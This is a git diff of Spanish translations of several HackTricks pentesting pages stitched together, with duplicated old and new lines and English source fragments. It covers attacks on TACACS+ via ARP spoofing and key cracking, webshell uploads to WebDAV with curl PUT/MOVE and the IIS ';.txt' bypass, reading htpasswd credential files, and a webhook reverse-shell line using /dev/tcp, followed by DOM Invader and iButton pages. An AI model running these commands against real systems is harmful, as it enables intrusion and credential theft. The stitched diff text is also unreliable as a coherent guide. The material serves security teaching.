También es necesario especificar la ruta al diccionario para realizar un ataque de fuerza bruta a la clave encriptada. Asegúrate de desmarcar la opción **Use Bruteforce**, de lo contrario Loki intentará forzar la contraseña sin usar el diccionario.
<figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
Ahora debemos esperar a que un administrador inicie sesión en el dispositivo a través del servidor TACACS. Se asume que el administrador de red ya ha iniciado sesión y nosotros, **interceptando el tráfico en el medio a través de ARP spoofing**, interceptamos el tráfico. Y al hacerlo, los hosts legítimos no se dan cuenta de que alguien más ha interferido en su conexión.
Ahora debemos esperar a que un administrador inicie sesión en el dispositivo a través del servidor TACACS. Se asume que el administrador de red ya ha iniciado sesión, y nosotros, **interceptando el tráfico en el medio a través de ARP spoofing**, interceptamos el tráfico. Y al hacerlo, los hosts legítimos no se dan cuenta de que alguien más ha interferido en su conexión.
<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (8) (2) (3).png" alt=""><figcaption></figcaption></figure>
Ahora haz clic en el botón **CRACK** y espera a que **Loki** rompa la contraseña.
@ -41,7 +41,7 @@ Genial, logramos desbloquear la clave, ahora necesitamos descifrar el tráfico T
<figure><img src="../.gitbook/assets/image (28) (1).png" alt=""><figcaption></figcaption></figure>
Vemos qué banner se utilizó.
Vemos qué banner se usó.
<figure><img src="../.gitbook/assets/image (24) (1) (2).png" alt=""><figcaption></figcaption></figure>
@ -49,15 +49,15 @@ Encontramos el nombre de usuario del usuario `admin`
<figure><img src="../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
Como resultado, **tenemos las credenciales `admin:secret1234`,** que se pueden utilizar para acceder al hardware en sí. **Creo que verificaré su validez.**
Como resultado, **tenemos las credenciales `admin:secret1234`,** que se pueden usar para acceder al hardware en sí. **Creo que verificaré su validez.**
<figure><img src="../.gitbook/assets/image (19) (2).png" alt=""><figcaption></figcaption></figure>
Así es como se puede atacar TACACS+ y **obtener acceso** al panel de control del equipo de red.
Así es como puedes atacar TACACS+ y **obtener acceso** al panel de control del equipo de red.
## Referencias
* La sección de clave de intercepción fue copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* La sección de clave de intercepción se copió de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<details>
@ -66,7 +66,7 @@ Así es como se puede atacar TACACS+ y **obtener acceso** al panel de control de
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -13,14 +13,14 @@ Obtenga acceso hoy:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Un servidor **HTTP con WebDav** activo es un servidor donde probablemente se puedan **actualizar, eliminar, mover, copiar** archivos. **A veces** se **necesitan** credenciales **válidas** (generalmente se comprueba con la autenticación básica HTTP).
Un servidor **HTTP con WebDav** activo es un servidor donde probablemente se puedan **actualizar, eliminar, mover, copiar** archivos. **A veces** necesitará tener **credenciales válidas** (generalmente verifique con la autenticación básica HTTP).
Debe intentar **cargar** algún **webshell** y **ejecutarlo** desde el servidor web para tomar el control del servidor.\
Por lo general, para **conectar** un servidor WebDav necesitará **credenciales válidas**: [**fuerza bruta de WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Autenticación básica)_.
@ -40,7 +40,7 @@ davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every
```
Salida de ejemplo:
![](<../../.gitbook/assets/image (19) (1).png>)
![](<../../.gitbook/assets/image (19) (1) (1).png>)
Esto no significa que las extensiones **.txt** y **.html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
@ -52,63 +52,41 @@ cadaver <IP>
```
## Petición PUT
---
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is often used to update data on a server-side database. However, it can also be used to upload files to a server.
### Description
El método HTTP PUT se utiliza para actualizar un recurso en un servidor. En el contexto de las aplicaciones web, este método se utiliza a menudo para actualizar datos en una base de datos del lado del servidor. Sin embargo, también se puede utilizar para cargar archivos en un servidor.
### Descripción
WebDAV servers also support the PUT method, which allows clients to upload files to the server. This can be useful for attackers who want to upload malicious files to a server.
The HTTP PUT request method creates or updates a resource with the data enclosed in the request body. The resource can be an HTML page, a CSS file, an image, or any other type of file. In the context of web applications, PUT is used to update existing resources or create new ones.
El método de petición HTTP PUT crea o actualiza un recurso con los datos incluidos en el cuerpo de la petición. El recurso puede ser una página HTML, un archivo CSS, una imagen o cualquier otro tipo de archivo. En el contexto de las aplicaciones web, PUT se utiliza para actualizar recursos existentes o crear nuevos.
---
### PUT method and WebDAV
### Método PUT y WebDAV
PUT method is also used by WebDAV (Web Distributed Authoring and Versioning) to upload files to a web server. WebDAV extends the HTTP protocol to allow clients to perform remote Web content authoring operations.
El método PUT también es utilizado por WebDAV (Web Distributed Authoring and Versioning) para subir archivos a un servidor web. WebDAV extiende el protocolo HTTP para permitir a los clientes realizar operaciones de autoría de contenido web remoto.
---
### PUT request and file upload vulnerabilities
### Petición PUT y vulnerabilidades de carga de archivos
PUT requests can be used to upload files to a web server. If the server does not properly validate the uploaded file, it can lead to file upload vulnerabilities such as file inclusion, remote code execution, or even server takeover.
Las peticiones PUT pueden ser utilizadas para subir archivos a un servidor web. Si el servidor no valida adecuadamente el archivo subido, puede llevar a vulnerabilidades de carga de archivos como inclusión de archivos, ejecución remota de código o incluso toma de control del servidor.
Los servidores WebDAV también admiten el método PUT, que permite a los clientes cargar archivos en el servidor. Esto puede ser útil para los atacantes que desean cargar archivos maliciosos en un servidor.
```
curl -T 'shell.txt' 'http://$ip'
```
## Petición MOVE
## Solicitud MOVE
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
![](<../../.gitbook/assets/image (9) (1) (2).png>)
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Vulnerabilidad WebDav en IIS5/6
## Vulnerabilidad WebDav de IIS5/6
Esta vulnerabilidad es muy interesante. El **WebDav** no permite **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se**ejecutado** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
Esta vulnerabilidad es muy interesante. El **WebDav** no permite **cargar** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se **ejecutará** como si fuera un archivo .asp (también puedes **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se**ejecutado** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
Luego puedes **cargar** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se **ejecutará** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
![](<../../.gitbook/assets/image (18) (1) (1).png>)
## Publicar credenciales
Si el Webdav estaba usando un servidor Apache, deberías buscar en los sitios configurados en Apache. Comúnmente:\
Si el Webdav estaba usando un servidor Apache, debería buscar en los sitios configurados en Apache. Comúnmente:\
_**/etc/apache2/sites-enabled/000-default**_
Dentro de él podrías encontrar algo como:
Dentro de él, podría encontrar algo como:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
@ -125,7 +103,7 @@ Como puedes ver, hay archivos con las credenciales válidas para el servidor **w
```
Dentro de este tipo de archivos encontrarás el **nombre de usuario** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav utiliza para autenticar a los usuarios.
Puedes intentar **descifrar** la contraseña, o **añadir más** si por alguna razón deseas **acceder** al servidor **webdav**:
Puedes intentar **descifrar** las credenciales, o **añadir más** si por alguna razón deseas **acceder** al servidor **webdav**:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
@ -140,7 +118,7 @@ wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -19,14 +19,14 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Configura el script del WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Guarda los cambios
* Obtén la URL del WebHook generada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Llámalo con curl y deberías recibir la shell inversa.
* Llámalo con curl y deberías recibir la shell inversa
<details>

View File

@ -4,8 +4,8 @@ DOM Invader es una herramienta de navegador instalada en el navegador integrado
DOM Invader integra una pestaña dentro del panel DevTools del navegador que permite lo siguiente:
1. **Identificación de sumideros controlables** en una página web para pruebas de DOM XSS, proporcionando detalles de contexto y de saneamiento.
2. **Registro, edición y reenvío de mensajes web** enviados a través del método `postMessage()` para pruebas de DOM XSS. DOM Invader también puede detectar automáticamente vulnerabilidades utilizando mensajes web especialmente diseñados.
1. **Identificación de sumideros controlables** en una página web para pruebas de XSS en el DOM, proporcionando detalles de contexto y de saneamiento.
2. **Registro, edición y reenvío de mensajes web** enviados a través del método `postMessage()` para pruebas de XSS en el DOM. DOM Invader también puede detectar automáticamente vulnerabilidades utilizando mensajes web especialmente diseñados.
3. Detección de **fuentes de contaminación de prototipos del lado del cliente** y escaneo de dispositivos controlables enviados a sumideros riesgosos.
4. Identificación de **vulnerabilidades de clobbering del DOM**.
@ -17,7 +17,7 @@ En el navegador integrado de Burp, vaya a la **extensión de Burp** y habilítel
Ahora actualice la página y en las **Dev Tools** encontrará la pestaña **DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
### Inyectar un canario
@ -31,11 +31,11 @@ Si solo desea encontrar sumideros potenciales que la página pueda tener, inclus
### Mensajes de publicación
DOM Invader permite probar el DOM XSS utilizando mensajes web con características como:
DOM Invader permite probar XSS en el DOM utilizando mensajes web con características como:
1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes / respuestas HTTP de Burp Proxy.
2. **Modificación** y **reenvío** de mensajes web para probar manualmente el DOM XSS, similar a la función de Burp Repeater.
3. **Alteración automática** y envío de mensajes web para sondear el DOM XSS.
1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes/respuestas HTTP de Burp Proxy.
2. **Modificación** y **reenvío** de mensajes web para probar manualmente XSS en el DOM, similar a la función de Burp Repeater.
3. **Alteración automática** y envío de mensajes web para sondear XSS en el DOM.
#### Detalles del mensaje
@ -43,11 +43,11 @@ Puede hacer clic en cada mensaje para ver información más detallada sobre él,
* **`origin`**: Si la **información de origen del mensaje no se comprueba**, es posible que pueda enviar mensajes de origen cruzado al controlador de eventos **desde un dominio externo arbitrario**. Pero si se comprueba, aún podría ser inseguro.
* **`data`**: Aquí es donde se envía la carga útil. Si estos datos no se utilizan, el sumidero es inútil.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se comprueba, no asegura que la validación no pueda ser eludida.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, está validada en lugar del origen. Incluso si esto se comprueba, no asegura que la validación no pueda ser eludida.
#### Responder a un mensaje
1. Desde la vista **Mensajes**, haga clic en cualquier mensaje para abrir el cuadro de diálogo de detalles del mensaje.
1. Desde la vista de **Mensajes**, haga clic en cualquier mensaje para abrir el cuadro de diálogo de detalles del mensaje.
2. Edite el campo **Datos** según sea necesario.
3. Haga clic en **Enviar**.
@ -59,7 +59,7 @@ DOM Invader también puede buscar **vulnerabilidades de contaminación de protot
Luego, buscará **fuentes** que le permitan agregar propiedades arbitrarias al **`Object.prototype`**.
Si se encuentra algo, aparecerá un botón **Prueba** para **probar la fuente encontrada**. Haga clic en él, aparecerá una nueva pestaña, cree un objeto en la consola y compruebe si existe la propiedad `testproperty`:
Si se encuentra algo, aparecerá un botón de **Prueba** para **probar la fuente encontrada**. Haga clic en él, aparecerá una nueva pestaña, cree un objeto en la consola y compruebe si existe la propiedad `testproperty`:
```javascript
let b = {}
b.testproperty

View File

@ -7,14 +7,14 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introducción
Para obtener más información sobre qué es un iButton, consulta:
Para obtener más información sobre qué es un iButton, consulte:
{% content-ref url="../ibutton.md" %}
[ibutton.md](../ibutton.md)
@ -22,26 +22,26 @@ Para obtener más información sobre qué es un iButton, consulta:
## Diseño
La parte **azul** de la siguiente imagen es donde debes **colocar el iButton real** para que el Flipper pueda **leerlo**. La parte **verde** es donde debes **tocar el lector** con el Flipper zero para **emular correctamente un iButton**.
La parte **azul** de la siguiente imagen es cómo debería **colocar el iButton real** para que el Flipper pueda **leerlo**. La parte **verde** es cómo debe **tocar el lector** con el Flipper zero para **emular correctamente un iButton**.
<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
## Acciones
### Leer
En el modo de lectura, el Flipper está esperando que se toque la llave iButton y es capaz de digerir cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. El Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla encima del número de identificación.
En el modo de lectura, Flipper está esperando que la llave iButton toque y es capaz de digerir cualquiera de los tres tipos de llaves: **Dallas, Cyfral y Metakom**. Flipper **determinará el tipo de llave por sí mismo**. El nombre del protocolo de la llave se mostrará en la pantalla sobre el número de identificación.
### Añadir manualmente
Es posible **añadir manualmente** un iButton de tipo: **Dallas, Cyfral y Metakom**.
### Emular
### **Emular**
Es posible **emular** iButtons guardados (leídos o añadidos manualmente).
{% hint style="info" %}
Si no puedes hacer que los contactos esperados del Flipper Zero toquen el lector, puedes **usar el GPIO externo**:
Si no puede hacer que los contactos esperados del Flipper Zero toquen el lector, puede **usar el GPIO externo**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (24) (1).png" alt=""><figcaption></figcaption></figure>
@ -57,7 +57,7 @@ Si no puedes hacer que los contactos esperados del Flipper Zero toquen el lector
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -5,18 +5,18 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introducción
iButton es un nombre genérico para una llave de identificación electrónica empaquetada en un **contenedor de metal en forma de moneda**. También se llama memoria táctil de Dallas o memoria de contacto. Aunque a menudo se le llama erróneamente una llave "magnética", no hay **nada magnético** en ella. De hecho, un microchip completo que opera en un protocolo digital está oculto en su interior.
iButton es un nombre genérico para una llave de identificación electrónica empaquetada en un **contenedor metálico en forma de moneda**. También se llama memoria táctil Dallas o memoria de contacto. Aunque a menudo se le llama erróneamente una llave "magnética", no hay **nada magnético** en ella. De hecho, un microchip completo que opera en un protocolo digital está oculto en su interior.
<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
@ -57,9 +57,9 @@ Las llaves iButton pueden ser atacadas con Flipper Zero:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -5,16 +5,16 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
